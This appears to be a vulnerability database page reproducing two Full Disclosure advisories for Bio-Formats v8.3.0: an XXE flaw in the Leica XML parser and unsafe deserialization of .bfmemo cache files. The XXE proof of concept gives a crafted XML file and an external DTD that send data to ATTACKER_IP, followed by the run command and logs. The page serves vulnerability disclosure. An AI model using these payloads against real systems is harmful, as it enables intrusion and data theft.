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2 vulnerabilities found for Bioformats by unknown
GCVE-1988-2025-0003
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Bioformats v8.3.0 Improper Restriction of XML External Entity Reference in Bio-Formats Leica Microsystems XML Parser
Summary
Bio-Formats contains an XML External Entity (XXE) vulnerability in the
Leica Microsystems metadata parsing component. The vulnerability is caused
by the use of an insecurely configured DocumentBuilderFactory when
processing Leica XML-based metadata files (e.g., XLEF). When a crafted XML
file is supplied, the parser allows external entity resolution and external
DTD loading, enabling attackers to trigger arbitrary outbound network
requests, access local system resources, or cause a denial-of-service
condition during XML parsing.
*Impact:*
An attacker who can supply a crafted Leica XML metadata file may:
* Trigger XML External Entity (XXE) injection
* Perform server-side request forgery (SSRF) via outbound HTTP requests
* Access local files where XML-safe content exists
* Cause denial of service through entity expansion or parser instability
* Exfiltrate data through blind out-of-band channels
Exploitation occurs during XML parsing and does not require authentication.
*Proof of Concept:*
Malicious XLEF File
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % ext SYSTEM "http://ATTACKER_IP:8000/evil.dtd";>
%ext;
]>
<xlef>
<Image>&exfil;</Image>
</xlef>
Attacker-Controlled External DTD (evil.dtd)
<!ENTITY exfil SYSTEM "http://ATTACKER_IP:8000/exfil?data=ubuntu";>
*Exploit Execution:*
java -cp bioformats_package.jar \
loci.formats.tools.ImageInfo xxe_blind.xlef
*Observed Exploit Output:*
Victim Application Output
Initializing reader
XLEFReader initializing xxe_blind.xlef
http://ATTACKER_IP:8000/exfil?data=ubuntu
java.io.FileNotFoundException: http://ATTACKER_IP:8000/exfil?data=ubuntu
at org.apache.xerces.impl.XMLEntityManager.setupCurrentEntity
at org.apache.xerces.impl.XMLEntityManager.startEntity
at org.apache.xerces.impl.XMLDTDScannerImpl.scanDTDInternalSubset
at javax.xml.parsers.DocumentBuilder.parse
at LMSXmlDocument.initFromFilepath(LMSXmlDocument.java:125)
Attacker HTTP Server Log
192.x.x.x - - [23/Dec/2025 23:28:19]
"GET /exfil?data=ubuntu HTTP/1.1" 404 -
The outbound HTTP request confirms that the XML parser resolved
attacker-controlled external entities during file parsing.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Bioformats |
Affected:
unknown
|
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"value": "Bio-Formats contains an XML External Entity (XXE) vulnerability in the\nLeica Microsystems metadata parsing component. The vulnerability is caused\nby the use of an insecurely configured DocumentBuilderFactory when\nprocessing Leica XML-based metadata files (e.g., XLEF). When a crafted XML\nfile is supplied, the parser allows external entity resolution and external\nDTD loading, enabling attackers to trigger arbitrary outbound network\nrequests, access local system resources, or cause a denial-of-service\ncondition during XML parsing.\n\n*Impact:*\nAn attacker who can supply a crafted Leica XML metadata file may:\n* Trigger XML External Entity (XXE) injection\n* Perform server-side request forgery (SSRF) via outbound HTTP requests\n* Access local files where XML-safe content exists\n* Cause denial of service through entity expansion or parser instability\n* Exfiltrate data through blind out-of-band channels\nExploitation occurs during XML parsing and does not require authentication.\n\n*Proof of Concept:*\nMalicious XLEF File\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE xxe [\n \u003c!ENTITY % ext SYSTEM \"http://ATTACKER_IP:8000/evil.dtd\";\u003e\n %ext;\n]\u003e\n\u003cxlef\u003e\n \u003cImage\u003e\u0026exfil;\u003c/Image\u003e\n\u003c/xlef\u003e\nAttacker-Controlled External DTD (evil.dtd)\n\u003c!ENTITY exfil SYSTEM \"http://ATTACKER_IP:8000/exfil?data=ubuntu\";\u003e\n\n*Exploit Execution:*\njava -cp bioformats_package.jar \\\n loci.formats.tools.ImageInfo xxe_blind.xlef\n\n*Observed Exploit Output:*\nVictim Application Output\nInitializing reader\nXLEFReader initializing xxe_blind.xlef\nhttp://ATTACKER_IP:8000/exfil?data=ubuntu\njava.io.FileNotFoundException: http://ATTACKER_IP:8000/exfil?data=ubuntu\n at org.apache.xerces.impl.XMLEntityManager.setupCurrentEntity\n at org.apache.xerces.impl.XMLEntityManager.startEntity\n at org.apache.xerces.impl.XMLDTDScannerImpl.scanDTDInternalSubset\n at javax.xml.parsers.DocumentBuilder.parse\n at LMSXmlDocument.initFromFilepath(LMSXmlDocument.java:125)\nAttacker HTTP Server Log\n192.x.x.x - - [23/Dec/2025 23:28:19]\n\"GET /exfil?data=ubuntu HTTP/1.1\" 404 -\nThe outbound HTTP request confirms that the XML parser resolved\nattacker-controlled external entities during file parsing.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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GCVE-1988-2025-0004
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Bioformats v8.3.0 Untrusted Deserialization of Bio-Formats Memoizer Cache Files
Summary
Bio-Formats performs unsafe Java deserialization of attacker-controlled
memoization cache files (.bfmemo) during image processing. The
loci.formats.Memoizer class automatically loads and deserializes memo files
associated with images without validation, integrity checks, or trust
enforcement.
An attacker can exploit this behavior by supplying a crafted or corrupted
.bfmemo file—either fully attacker-controlled or derived from a legitimate
memo file—causing Bio-Formats to deserialize untrusted data. This can lead
to denial-of-service, logic manipulation, or remote code execution when
suitable gadget chains are present on the classpath.
*Impact:*
An attacker can:
* Trigger deserialization of untrusted data
* Cause repeated parsing failures (denial-of-service)
* Influence reader discovery and class loading
* Potentially achieve remote code execution when suitable gadget chains
exist
The vulnerability is reachable through standard image processing workflows
and does not require non-default configuration.
*Proof of Concept:*
Corrupting a Legitimate Memo File
This PoC demonstrates exploitation by modifying a legitimately generated
.bfmemo file, which closely mirrors a real-world attack scenario.
Step 1 – Generate a Valid Memo File
[Step 1/4] Creating valid TIFF image...
[+] Created valid.tif
[Step 2/4] Generating legitimate memo file...
[+] Memo created at: ./root/bioformats/.valid.tif.bfmemo
[+] Size: 34815 bytes
Step 2 – Corrupt the Existing Memo File
[Step 4/4] Corrupting memo file...
[+] Corrupted memo (appended 400 garbage bytes)
[+] Created symlink to memo file
Example Output
[*] Loading valid.tif with Memoizer...
java.lang.ClassNotFoundException: loci.formats.in.URLReader
at loci.formats.ClassList.parseLine(ClassList.java:196)
at loci.formats.ClassList.parseFile(ClassList.java:258)
at loci.formats.Memoizer.<init>(Memoizer.java:540)
java.lang.ClassNotFoundException: loci.formats.in.SlideBook6Reader
java.lang.ClassNotFoundException: loci.formats.in.ScreenReader
java.lang.ClassNotFoundException: loci.formats.in.ZarrReader
java.lang.ClassNotFoundException:
ch.epfl.biop.formats.in.ZeissQuickStartCZIReader
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jan/7 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Bioformats |
Affected:
unknown
|
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"credits": [
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"lang": "en",
"type": "finder",
"value": "Ron E"
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"value": "Bio-Formats performs unsafe Java deserialization of attacker-controlled\nmemoization cache files (.bfmemo) during image processing. The\nloci.formats.Memoizer class automatically loads and deserializes memo files\nassociated with images without validation, integrity checks, or trust\nenforcement.\nAn attacker can exploit this behavior by supplying a crafted or corrupted\n.bfmemo file\u2014either fully attacker-controlled or derived from a legitimate\nmemo file\u2014causing Bio-Formats to deserialize untrusted data. This can lead\nto denial-of-service, logic manipulation, or remote code execution when\nsuitable gadget chains are present on the classpath.\n\n*Impact:*\nAn attacker can:\n* Trigger deserialization of untrusted data\n* Cause repeated parsing failures (denial-of-service)\n* Influence reader discovery and class loading\n* Potentially achieve remote code execution when suitable gadget chains\nexist\nThe vulnerability is reachable through standard image processing workflows\nand does not require non-default configuration.\n\n*Proof of Concept:*\nCorrupting a Legitimate Memo File\nThis PoC demonstrates exploitation by modifying a legitimately generated\n.bfmemo file, which closely mirrors a real-world attack scenario.\n\nStep 1 \u2013 Generate a Valid Memo File\n[Step 1/4] Creating valid TIFF image...\n[+] Created valid.tif\n\n[Step 2/4] Generating legitimate memo file...\n[+] Memo created at: ./root/bioformats/.valid.tif.bfmemo\n[+] Size: 34815 bytes\n\nStep 2 \u2013 Corrupt the Existing Memo File\n[Step 4/4] Corrupting memo file...\n[+] Corrupted memo (appended 400 garbage bytes)\n[+] Created symlink to memo file\n\nExample Output\n[*] Loading valid.tif with Memoizer...\n\njava.lang.ClassNotFoundException: loci.formats.in.URLReader\nat loci.formats.ClassList.parseLine(ClassList.java:196)\nat loci.formats.ClassList.parseFile(ClassList.java:258)\nat loci.formats.Memoizer.\u003cinit\u003e(Memoizer.java:540)\n\njava.lang.ClassNotFoundException: loci.formats.in.SlideBook6Reader\njava.lang.ClassNotFoundException: loci.formats.in.ScreenReader\njava.lang.ClassNotFoundException: loci.formats.in.ZarrReader\njava.lang.ClassNotFoundException:\nch.epfl.biop.formats.in.ZeissQuickStartCZIReader\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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